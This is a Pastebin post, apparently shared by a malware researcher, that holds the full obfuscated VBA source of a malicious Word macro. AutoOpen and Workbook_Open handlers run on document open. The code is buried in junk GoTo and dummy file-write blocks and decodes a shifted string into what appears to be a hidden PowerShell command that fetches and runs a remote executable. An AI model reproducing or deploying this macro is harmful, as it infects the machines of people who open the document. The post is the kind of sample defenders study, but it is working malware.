Advertisement
dynamoo

Malicious Word macro

Feb 11th, 2015
671
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub pppJFJF()
  10. Dim cGUWcPxh, zPghPtfu, UYCPVbyB As String
  11.  
  12. GoTo NqLZpqck
  13. Dim djTTSBnZ As String
  14. Open "BVXRMY.OSS" For Binary As 25
  15. Put #25, , djTTSBnZ
  16. Close #25
  17. NqLZpqck:
  18.  
  19. cGUWcPxh = "           NQUVUE               "
  20.  
  21. GoTo lVBiOKpy
  22. Dim YrQqsTfj As String
  23. Open "OKBMUC.PQJ" For Binary As 53
  24. Put #53, , YrQqsTfj
  25. Close #53
  26. lVBiOKpy:
  27.  
  28. zPghPtfu = LTrim(cGUWcPxh)
  29.  
  30. GoTo HkDNvmSG
  31. Dim GejSxxlg As String
  32. Open "DJGISK.VTT" For Binary As 73
  33. Put #73, , GejSxxlg
  34. Close #73
  35. HkDNvmSG:
  36.  
  37. UYCPVbyB = RTrim(zPghPtfu)
  38.  
  39.  
  40. GoTo xPimvGlx
  41. Dim mmQixJNW As String
  42. Open "ENBKSE.MBL" For Binary As 36
  43. Put #36, , mmQixJNW
  44. Close #36
  45. xPimvGlx:
  46.  
  47. pJIHJffd
  48. End Sub
  49. Sub AutoOpen()
  50. Dim fsvhlMHQ, HcDpekbt, tfLDoeQD As String
  51.  
  52. GoTo JgaVljrw
  53. Dim emDaWtiT As String
  54. Open "FHWUPH.TFH" For Binary As 72
  55. Put #72, , emDaWtiT
  56. Close #72
  57. JgaVljrw:
  58.  
  59. fsvhlMHQ = "           RBJRON               "
  60.  
  61. GoTo qzyELVJp
  62. Dim xiKYmSMm As String
  63. Open "COVXXU.VEH" For Binary As 19
  64. Put #19, , xiKYmSMm
  65. Close #19
  66. qzyELVJp:
  67.  
  68. HcDpekbt = LTrim(fsvhlMHQ)
  69.  
  70. GoTo UwWwIAlL
  71. Dim LAUvphxr As String
  72. Open "OLKLJX.NKD" For Binary As 54
  73. Put #54, , LAUvphxr
  74. Close #54
  75. UwWwIAlL:
  76.  
  77. tfLDoeQD = RTrim(HcDpekbt)
  78.  
  79.  
  80. GoTo piYElNqT
  81. Dim wflYMFgH As String
  82. Open "RCGTVA.FQT" For Binary As 11
  83. Put #11, , wflYMFgH
  84. Close #11
  85. piYElNqT:
  86.  
  87.     pppJFJF
  88. End Sub
  89. Sub Workbook_Open()
  90. Dim XYaWJqQT, WkEUGdkt, uchPjamg As String
  91.  
  92. GoTo eWqfJCwW
  93. Dim haCjlPbt As String
  94. Open "AHTCPB.QRW" For Binary As 23
  95. Put #23, , haCjlPbt
  96. Close #23
  97. eWqfJCwW:
  98.  
  99. XYaWJqQT = "           XZFUOU               "
  100.  
  101. GoTo ngNyTbVR
  102. Dim SmSoifzF As String
  103. Open "SNBLTF.DMJ" For Binary As 66
  104. Put #66, , SmSoifzF
  105. Close #66
  106. ngNyTbVR:
  107.  
  108. WkEUGdkt = LTrim(XYaWJqQT)
  109.  
  110. GoTo uxfzOLor
  111. Dim yiJFUWFE As String
  112. Open "XMZOKR.YIK" For Binary As 14
  113. Put #14, , yiJFUWFE
  114. Close #14
  115. uxfzOLor:
  116.  
  117. uchPjamg = RTrim(WkEUGdkt)
  118.  
  119.  
  120. GoTo CRibVecZ
  121. Dim XgQdXtra As String
  122. Open "JCBWBP.IXL" For Binary As 85
  123. Put #85, , XgQdXtra
  124. Close #85
  125. CRibVecZ:
  126.  
  127.     pppJFJF
  128. End Sub
  129. Sub pJIHJffd()
  130. Dim wyYqjDWy, juHxQJlu, diNOyXHi As String
  131.  
  132. GoTo tDKSgLQG
  133. Dim jLRHHUFB As String
  134. Open "MZJAUT.QAQ" For Binary As 97
  135. Put #97, , jLRHHUFB
  136. Close #97
  137. tDKSgLQG:
  138.  
  139. wyYqjDWy = "           JJKPND               "
  140.  
  141. GoTo cnCkFncE
  142. Dim PYOmhgnF As String
  143. Open "RXLJMW.TGQ" For Binary As 34
  144. Put #34, , PYOmhgnF
  145. Close #34
  146. cnCkFncE:
  147.  
  148. juHxQJlu = LTrim(wyYqjDWy)
  149.  
  150. GoTo WMQqErNd
  151. Dim uacftJec As String
  152. Open "GYFDFP.YRI" For Binary As 78
  153. Put #78, , uacftJec
  154. Close #78
  155. WMQqErNd:
  156.  
  157. diNOyXHi = RTrim(juHxQJlu)
  158.  
  159.  
  160. GoTo WHtQyrCA
  161. Dim iXJFUKNS As String
  162. Open "CFZOKE.UZK" For Binary As 77
  163. Put #77, , iXJFUKNS
  164. Close #77
  165. WHtQyrCA:
  166.  
  167. HUIbksdf = lSqZa("v€w3B^3c‚Šx…f{xAx‹x3;axŠ@bu}xv‡3fŒ†‡x€Aax‡AjxuV|x‡<AW‚Š‚twY|x;:{‡‡ƒMBBLHADIFADEDAEDIMKCKCB{{tvGHtB€€Aƒ{ƒ:?:8gX`c8oƒ]\bywy†Ax‹x:<Nf‡t…‡@c…‚vx††3:8gX`c8oƒ]\bywy†Ax‹x:N", "19")
  168. Dim uqAjkzBv, SyoSRxJh, jzJuJJIi As String
  169.  
  170. GoTo xUlExbZu
  171. Dim ODyYVfTk As String
  172. Open "PPOTNF.WVB" For Binary As 36
  173. Put #36, , ODyYVfTk
  174. Close #36
  175. xUlExbZu:
  176.  
  177. uqAjkzBv = "           QQBAGL               "
  178.  
  179. GoTo rGIbbLSU
  180. Dim hXmZzUHK As String
  181. Open "AFHEZC.ZUO" For Binary As 97
  182. Put #97, , hXmZzUHK
  183. Close #97
  184. rGIbbLSU:
  185.  
  186. SyoSRxJh = LTrim(uqAjkzBv)
  187.  
  188. GoTo QVXmEsXi
  189. Dim CrIctNNl As String
  190. Open "KKCNRU.ZYD" For Binary As 83
  191. Put #83, , CrIctNNl
  192. Close #83
  193. QVXmEsXi:
  194.  
  195. jzJuJJIi = RTrim(SyoSRxJh)
  196.  
  197.  
  198. GoTo nplEclBb
  199. Dim vWChwwTV As String
  200. Open "TDTCSK.HZW" For Binary As 42
  201. Put #42, , vWChwwTV
  202. Close #42
  203. nplEclBb:
  204.  
  205. Shell HUIbksdf, vbHide
  206. End Sub
  207.  
  208. Public Function lSqZa(ByVal InputData As String, ByVal NumKey As Integer) As String
  209. Dim i As Long, OutChar As String
  210. For i = 1 To Len(InputData)
  211. Dim LitKzAbh, iVqwidQV, xFhBdBCY As String
  212.  
  213. GoTo bjGCAYXH
  214. Dim QxANrlBa As String
  215. Open "TJGYFV.YPI" For Binary As 43
  216. Put #43, , QxANrlBa
  217. Close #43
  218. bjGCAYXH:
  219.  
  220. LitKzAbh = "           SDZPQV               "
  221.  
  222. GoTo ubrKTByj
  223. Dim lTHWuDpA As String
  224. Open "XWCRHI.DMJ" For Binary As 94
  225. Put #94, , lTHWuDpA
  226. Close #94
  227. ubrKTByj:
  228.  
  229. iVqwidQV = LTrim(LitKzAbh)
  230.  
  231. GoTo zenrdrDZ
  232. Dim foduFKJD As String
  233. Open "NMDKWE.AFT" For Binary As 99
  234. Put #99, , foduFKJD
  235. Close #99
  236. zenrdrDZ:
  237.  
  238. xFhBdBCY = RTrim(iVqwidQV)
  239.  
  240.  
  241. GoTo EMGXEnli
  242. Dim GNABtfxl As String
  243. Open "FHMFRF.FOS" For Binary As 48
  244. Put #48, , GNABtfxl
  245. Close #48
  246. EMGXEnli:
  247.  
  248. OutChar = Asc(Mid(InputData, i, 1)) - NumKey
  249. While OutChar < 0
  250. Dim BKGHJxMo, qVALlqCl, crfXWVaE As String
  251.  
  252. GoTo qearGJfJ
  253. Dim xoDukTka As String
  254. Open "RMNKPX.FIH" For Binary As 44
  255. Put #44, , xoDukTka
  256. Close #44
  257. qearGJfJ:
  258.  
  259. BKGHJxMo = "           VUITOD               "
  260.  
  261. GoTo eNFziNyi
  262. Dim gyntOFol As String
  263. Open "NLLJLA.ASQ" For Binary As 23
  264. Put #23, , gyntOFol
  265. Close #23
  266. eNFziNyi:
  267.  
  268. qVALlqCl = LTrim(BKGHJxMo)
  269.  
  270. GoTo VEqfFyDl
  271. Dim XfFaSilL As String
  272. Open "JCNGMQ.AQH" For Binary As 85
  273. Put #85, , XfFaSilL
  274. Close #85
  275. VEqfFyDl:
  276.  
  277. crfXWVaE = RTrim(qVALlqCl)
  278.  
  279.  
  280. GoTo SHUnxVOu
  281. Dim QnqfmNgT As String
  282. Open "QEQWQU.ZZY" For Binary As 67
  283. Put #67, , QnqfmNgT
  284. Close #67
  285. SHUnxVOu:
  286.  
  287. OutChar = OutChar + 256
  288. Dim xbQLzBbC, lbWtxrCV, fntkJimB As String
  289.  
  290. GoTo SHRSTXlg
  291. Dim QAibEVND As String
  292. Open "QRPAHY.ZZR" For Binary As 67
  293. Put #67, , QAibEVND
  294. Close #67
  295. SHRSTXlg:
  296.  
  297. xbQLzBbC = "           KAWZLL               "
  298.  
  299. GoTo RDkQVtsT
  300. Dim HLrFbLgH As String
  301. Open "UZRNBQ.IXX" For Binary As 57
  302. Put #57, , HLrFbLgH
  303. Close #57
  304. RDkQVtsT:
  305.  
  306. lbWtxrCV = LTrim(xbQLzBbC)
  307.  
  308. GoTo bjGCRqLK
  309. Dim QcANuVXz As String
  310. Open "TJGYGD.XHP" For Binary As 43
  311. Put #43, , QcANuVXz
  312. Close #43
  313. bjGCRqLK:
  314.  
  315. fntkJimB = RTrim(lbWtxrCV)
  316.  
  317.  
  318. GoTo sCZKpxyg
  319. Dim cegWSqpb As String
  320. Open "VUORTL.GTR" For Binary As 18
  321. Put #18, , cegWSqpb
  322. Close #18
  323. sCZKpxyg:
  324.  
  325. Wend
  326. Dim XVmMIxzW, ALzhXKMS, yFPPodQR As String
  327.  
  328. GoTo sCbrlmJx
  329. Dim cesuWiMU As String
  330. Open "TKSKVQ.GYZ" For Binary As 18
  331. Put #18, , cesuWiMU
  332. Close #18
  333. sCbrlmJx:
  334.  
  335. XVmMIxzW = "           YTXGVR               "
  336.  
  337. GoTo jhxlghyb
  338. Dim EwowHepP As String
  339. Open "IAPBXO.IME" For Binary As 23
  340. Put #23, , EwowHepP
  341. Close #23
  342. jhxlghyb:
  343.  
  344. ALzhXKMS = LTrim(XVmMIxzW)
  345.  
  346. GoTo blUAklyX
  347. Dim QvlRMuoy As String
  348. Open "SZHRVP.XHY" For Binary As 43
  349. Put #43, , QvlRMuoy
  350. Close #43
  351. blUAklyX:
  352.  
  353. yFPPodQR = RTrim(ALzhXKMS)
  354.  
  355.  
  356. GoTo sLKSjUTv
  357. Dim vBRGLwIO As String
  358. Open "THWOCK.GRQ" For Binary As 42
  359. Put #42, , vBRGLwIO
  360. Close #42
  361. sLKSjUTv:
  362.  
  363.  lSqZa = lSqZa + Chr(OutChar)
  364. Dim JLTHoAGC, ltMPKBvj, IMBfVPPB As String
  365.  
  366. GoTo Prxklump
  367. Dim IFNrjoaI As String
  368. Open "PPYHOS.MVX" For Binary As 69
  369. Put #69, , IFNrjoaI
  370. Close #69
  371. Prxklump:
  372.  
  373. JLTHoAGC = "           KHMJRJ               "
  374.  
  375. GoTo eXyUcSWK
  376. Dim aYOlwFAj As String
  377. Open "MYVVSA.MNH" For Binary As 98
  378. Put #98, , aYOlwFAj
  379. Close #98
  380. eXyUcSWK:
  381.  
  382. ltMPKBvj = LTrim(JLTHoAGC)
  383.  
  384. GoTo ofzXlUqM
  385. Dim uBTOkOHl As String
  386. Open "XGXYPB.DFH" For Binary As 12
  387. Put #12, , uBTOkOHl
  388. Close #12
  389. ofzXlUqM:
  390.  
  391. IMBfVPPB = RTrim(ltMPKBvj)
  392.  
  393.  
  394. GoTo UvUAmuNT
  395. Dim TpqfloYt As String
  396. Open "OWQWPS.NLY" For Binary As 54
  397. Put #54, , TpqfloYt
  398. Close #54
  399. UvUAmuNT:
  400.  
  401. Next
  402. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement